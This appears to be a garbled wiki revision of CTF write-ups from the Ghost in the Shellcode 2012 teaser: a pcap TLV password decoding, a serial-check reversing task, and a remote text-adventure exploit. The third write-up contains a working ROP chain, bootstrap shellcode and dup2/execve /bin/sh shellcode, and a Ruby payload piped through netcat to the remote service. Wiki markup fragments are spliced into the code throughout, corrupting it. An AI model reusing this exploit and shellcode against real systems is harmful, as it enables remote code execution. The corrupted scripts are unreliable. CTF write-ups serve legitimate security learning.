Jump to: navigation, search


13,841 bytes removed, 15:39, 8 January 2012
The following writeups have been made by members of the FIXME team during between January 6th and January 8th.
== #1 TelAviv == === Question === What is the password? (* Challenge [[Media:7139a4ea239dcac655f7c38ca6a77b61.bin|File]])<br>Hint: TeLaViv+ is a packet forensics challenge. === Solution === The file [[Media:7139a4ea239dcac655f7c38ca6a77b61.bin|7139a4ea239dcac655f7c38ca6a77b61.bin]] is a regular pcap file which contains a single TCP session. [[Image:gist-telaviv-tcp-session.png]] The client sends 245 bytes to the server as an authentification mechanism (red data in the screenshot). The actual data is composed of multiple parts: * "GitS", probably some dummy data* a NULL byte* "Plague", potential username* 233 remaining bytes, this is the actual password we're looking for The hint (TeLaViv+) tells us that this password is probably encoded with [http:CTF/gits2012teaser/ Type-Length-Value (TLV) encoding]. However, there was actually no type fields and the length of each field was one byte long. [[Image:gist-telaviv-password-data.png]] The following Python script ([[|]]) decodes the password: <syntaxhighlight lang="python">#!/usr/bin/env python## Ghost in the Shellcode 2012 Teaser## Challenge #1 TelAviv## By Francois Deppierraz <> import sysfrom pprint import pprintfrom binascii import hexlify f = open("7139a4ea239dcac655f7c38ca6a77b61.bin") # seek to the data of interest, offset found with wiresharkdata = # data size total_len = 0packets = []index=0while index < len(data): length = ord(data] by [index]) packets.append(data[index+1User:index+1+lengthFrancois|Francois]) index += length+1 total_len += length+1 # Ensure that all data was actually parsedassert total_len == len(data) print "Found %d packets: " % len(packets)for p in packets: print " ", for c in p: print hex(ord(c)), printprint numbers = [[ord(c) for c in p] for p in packets]#print "Values: ",#pprint(numbers)#print # Sum all byte values for each packet (idea comes from the + sign in the hint TeLaViv+)sums = * Challenge [sum(row) for row in numbers]print "Sums: " + repr(sums)print s = "".join([chr(cCTF/gits2012teaser/2) for c in sums])print "Divide by 2 and then convert to ASCII: "print sprint print "Simple subsitution: "# "Dro Zkccgybn sc" to "The Password is"from_txt = "\":dro zkccgybn sc"to_txt = "\":the password is"assert len(from_txt) == len(to_txt) for c in s.lower(): idx = from_txt.find(c) if idx != -1: sys.stdout.write(to_txt[idx]) else: sys.stdout.write(".")print</syntaxhighlight> <pre>$ ./tlv.pyFound 37 packets: 0x2b 0x2e 0x1 0x17 0x10 0x1 0x5 0x1 0x57 0x21 0x57 0x1 0x1 0x12 0x1 0x4d 0x5d 0x1d 0x8 0xd 0x2 0x1b 0xa 0x18 0x2 0x1 0x5a 0x4 0x46 0x10 0x84 0x27 0x16 0x12 0x3 0x9d 0x22 0x5 0x1 0x1 0xb8 0x9 0x4 0x1 0x33 0x5d 0x38 0x5 0x1 0x5e 0xd 0x68 0x1f 0x50 0x2d 0x1a 0x20 0x2 0x9 0x2 0x90 0xc 0x20 0x10 0xf 0x1 0x3a 0x4 0x1 0x1 0x17 0x3b 0x34 0x18 0x37 0xf 0x1 0x1 0x21 0x78 0x25 0x8 0x1d 0x4b 0x8 0x3 0x1 0x1a 0x21 0x2 0x3 0x19 0x25 0x4 0x1 0x1 0x5c 0x17 0x12 0x2 0x1 0x5d 0x49 0x33 0x4 0x3 0x2 0x1 0x1 0x96 0x1a 0x29 0x5 0x3a 0x5 0x1 0x39 0x4 0x53 0xa 0x1 0x1 0x79 0x2 0x7 0x1b 0x1 0x37 0x1 0x3 0xe 0x18 0x17 0x6e 0x11 0x9 0x3 0x1 0xb4 0x6 0x1 0x3 0x4 0x3 0x1e 0x2 0x1 0x2 0xa7 0x10 0x10 0x12 0x13 0x2 0x4c 0x9 0x43 0x7 0xd 0x4 0x2a 0xd 0x78 0x5f 0x2 0x2b 0x7 0xd 0x1 0x74 0xd 0xe 0x9 0x2 0x2d 0xa6 0xd 0xb 0x1 0x6 0x9d 0x39 0x5 0x1 0xd5 0x9 0x38 0x6 0x2 0x2 0x1 0x1 0x2f 0x5 0xb 0x1 Sums: [136, 228, 222, 64, 180, 214, 198, 198, 206, 242, 196, 220, 64, 230, 198, 116, 64, 68, 136, 228, 222, 64, 156, 214, 64, 140, 230, 240, 218, 230, 64, 154, 242, 220, 222, 68, 64] Divide by 2 and then convert to ASCII: Dro Zkccgybn sc: "Dro Nk Fsxms Myno"  Simple subsitution: the password is: "the da .i..i .ode"</pre> == ALsRevenge|#2 AL's Revenge == === Question === Use your team GUID and generate a serial. ([[Media:49dd327824d5afe9cdf931ea4b13719f.bin|File]])<br>Hint: by [[MediaUser:17b82879c583eeae763ecfa9a135e431.cppCorecode|FileCorecode]] === Solution === * file Challenge [[Media:49dd327824d5afe9cdf931ea4b13719f.bin|49dd327824d5afe9cdf931ea4b13719f.bin]] says xz compressed file -> xzcat > f* file f says LLVM bitcode -> llvm-dis > f.s (only works with LLVM 2.8, not with 3.0)* analyze disassembly, extract C representation: <syntaxhighlight lang="c">intVerifySerial(uint64_t name, uint64_t serial){ uint64_t a = 0x8000000000000000LL; uint64_t b = 0xa348fccd93aea5a7LL; uint64_t result = 0;  CTF/* high order bit set? *gits2012teaser/ if (name & a) a ^= b;  if (serial & a) serial ^= b;  while (serial != 0) { if (serial & 1) result ^= name;  serial >>= 1; name <<= 1;  if (name & a) name ^= b; }H  return (result == 1);}</syntaxhighlight> * it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.* lacking math knowledge and math package fu, decided to treat the problem as a linear equation system:* The shifting and xoring produces a set of integers, call them name_i. If the serial bit s_i is set, name_i gets added to the result. So you can roughly say r = N * s, with r being the result vector, s the serial vector and N the names matrix.* lacking math package fu, implement a gaussian elimination manually: <syntaxhighlight lang="ruby">class Numeric def bits64 sprintf("%064b", self){3-Hackquest|c| c == "0" ? 0 : 1} endend def names(name) p = 0xa348fccd93aea5a7  if (name >> 63) & 1 == 1 name ^= p end  ([name] + do |i| name <<= 1 if (name >> 63) & 1 == 1 name ^= p end name end).map(&:bits64)end class Array def pivot res = [] self[0] do |i| do |j| self[j][i] end end end  def bitary_to_int self.join.to_i(2) endend class Eq < Array attr_accessor :res  def initialize(ary, res) self.replace(ary) @res = res end  def lead_zero self.take_while{|e| e == 0} end  def first_pos self.index(1) end  def subtract(o){|aa, bb| aa ^ bb}, @res ^ o.res) endend class EqSys < Array def initialize(ary, res=nil) if !(Eq === ary[0]) && !ary.empty? ary ={|a, r|, r)} end self.replace(ary) end  def sort_by_zeros self.sort do |a, b| a.lead_zero <=> b.lead_zero end end  def subtract_eq(eq) pos = eq.first_pos return self if not pos{|e| e[pos] == 1 ? e.subtract(eq) : e}) end  def elim front =[]) cur = nil rest = self.sort_by_zeros while not rest.empty? front << cur if cur cur = rest.shift  front = front.subtract_eq(cur) rest = rest.subtract_eq(cur) rest = rest.sort_by_zeros end front << cur  front end  def to_s{|e| + " = #{e.res}"}.join("\n") endend require 'pp'if __FILE__ == $0 ns = names(0x6638623261336134)  pv = ns.pivot es =, 1.bits64)  puts es.to_s puts  r = es.elim puts r.to_s  res ={|e| e.res}.reverse puts res.bitary_to_int.to_s(16)  s0 = r.pivot.last.reverse puts s0.bitary_to_int.to_s(16) puts (res.bitary_to_int^s0.bitary_to_int).to_s(16)end</syntaxhighlight> == #3 Hackquest == === Question === Find the key. (File running at<br>Hint: [[Media:9692febb68918a3c5127c56a5320439d.bin.gz|Binary file]]<br>Hint: [[Media:1f5d7afa5f3765385a9973e1d500bee7.c|Partial source code]] === Solution === * Remote system running some sort of text adventure.* Hint dropped source code partially (extremely helpful)* Hint from irc: look at the items* struct ItemInfo contains a union: <syntaxhighlight lang="cpp">union{ void* data; LocationInfo* newLocation; struct ItemInfo* newItem; struct { ActionInfo* actionInfo; char* requiredTarget; } action; struct { char* name; struct ItemInfo* newItem; } namedUnwrap;} info;</syntaxhighlight> * magical item: <syntaxhighlight lang="cpp">{"a", "letter addressed to %s", "...", NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}</syntaxhighlight> * use() has an insufficient test: <syntaxhighlight lang="cpp">if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) || (item->type == ITEM_UNWRAP)){ sendMsg(s, "That item can't have a target.\n"); ok = false;}else if (!strcasecmp(item->info.action.requiredTarget, target)){ sendMsg(s, item->message); item->info.action.actionInfo->func(s); showDesc = item->info.action.actionInfo->showDesc;}</syntaxhighlight> * if we "use letter on $target", we can make it call ->func()* .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -> $target is known* ->func aliases with .name* the game asks us for our name, and stores this into a 31 byte static buffer* whatever we use as name will be used as function address to be called -> we captured control flow* ROP ensues:* first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)* then mmap an anonymous page RWX to a fixed location -> memory we can write to and run code from, we choose the offset* our data is on the stack, which is likely on a random offset -> need to move data from stack buffer to page* work around this problem by putting bootstrap shellcode into the static name buffer (see above)* bootstrap code copies stack-relative buffer to our page, then transfers control: <syntaxhighlight lang="asm"> leal 0x41(%esp),%esi # calc source from stack offset popl %edi # dest addr is already on stack pushl $0x41 # dest offset so that we don't get overwritten popl %ecx # duplicates as length addl %ecx,%edi # add offset push %edi # store dest for later rep movsl # copy popl %edi # retrieve old dest jmp *%edi # jump there</syntaxhighlight> * remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh: <syntaxhighlight lang="asm"> pushl %ecx # ecx was cleared by rep above, put 0 on stack movl 0xAB(%esp),%ebx # get socket fd from stack offset1: pushl $0x3f # dup2 syscall number popl %eax # into eax int $0x80 # do syscall inc %ecx # inc desc2 cmp $0x3,%cl # do for 0, 1, 2 jne 1b # repeat  popl %ecx # zero ecx = argv mull %ecx # zero eax, edx = env pushl $0x0068732f # /sh\0 pushl $0x6e69622f # /bin movl %esp,%ebx # string arg movb $0xb,%al # execve syscall number int $0x80 # magic!</syntaxhighlight> * cat key.txt * all combined, use as (ruby h.rb; cat) | nc host 7331 <syntaxhighlight lang="ruby">addr = 0x60606000 # our page addresssrc = 0x804c2a0 # from 0x80498f4 sockoffset = 0xbc p = [ # offset 0 "use letter on ", # offset 14 0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00], # offset 31 " " * (0x44 - 32), # fill # offset 0x44 0x80486d4, # C mmap 0x8048db5, # L add $0x1c,%esp | ret addr, # (void *addr, 4096, # size_t len, 1 | 2 | 4, # int prot = PROT_READ | PROT_WRITE | PROT_EXEC, 0x10 | 0x02 | 0x20, # int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, 0, # int filedes, 0, # off_t off) 0, # filler, also possibly offset 0x80487d4, # C memcpy addr, # L addr = shellcode addr, # (void *dest, src + 4, # const void *src, 200, # size_t n). [ 0x51, # pushl %ecx # ecx was cleared by rep above, put 0 on stack 0x8b, 0x9c, 0x24], sockoffset, # movl XXX(%esp),%ebx # get socket fd from stack offset [0x6a, 0x3f, # 1User: pushl $0x3f # dup2 syscall number 0x58, # popl %eax # into eax 0xcd, 0x80, # int $0x80 # do syscall 0x41, # inc %ecx # inc desc2 0x80, 0xf9, 0x03, # cmp $0x3,%cl # do for 0, 1, 2 0x75, 0xf5, # jne 1b # repeat  0x59, # popl %ecx # zero ecx = argv 0xf7, 0xe1, # mull %ecx # zero eax, edx = env 0x68, 0x2f, 0x73, 0x68, 0x00, # pushl 0x0068732f # /sh\0 0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl 0x6e69622f # /bin 0x89, 0xe3, # movl %esp,%ebx # string arg 0xb0, 0x0b, # movb $0xb,%al # execve syscall number 0xcd, 0x80 # int $0x80 # magic! ] ] shellcode = 0xc # this lives at srcnamelen = 20name = [ # stack pivot 0x08049019, # add $0x9c,%esp Corecode| ret  # bootstrap shellcode [ 0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi 0x5f, # popl %edi 0x6a, namelen, # pushl $XXX 0x59, # popl %ecx 0x01, 0xcf, # addl %ecx,%edi 0x57, # push %edi 0xf3, 0xa5, # rep movsl 0x5f, # popl %edi 0xff, 0xe7, # jmp *%edi Corecode], all = name + [ "\n", "get can\n", "use can\n", "go south\n", "get letter\n", ] + p + ["\n"] def collapse(a) do |e| case e when Numeric [e].pack("V") when Array e.pack('C*') else e.to_s end end.joinend if __FILE__ == $0 cp = collapse(all) # puts cp.size print cpend</syntaxhighlight>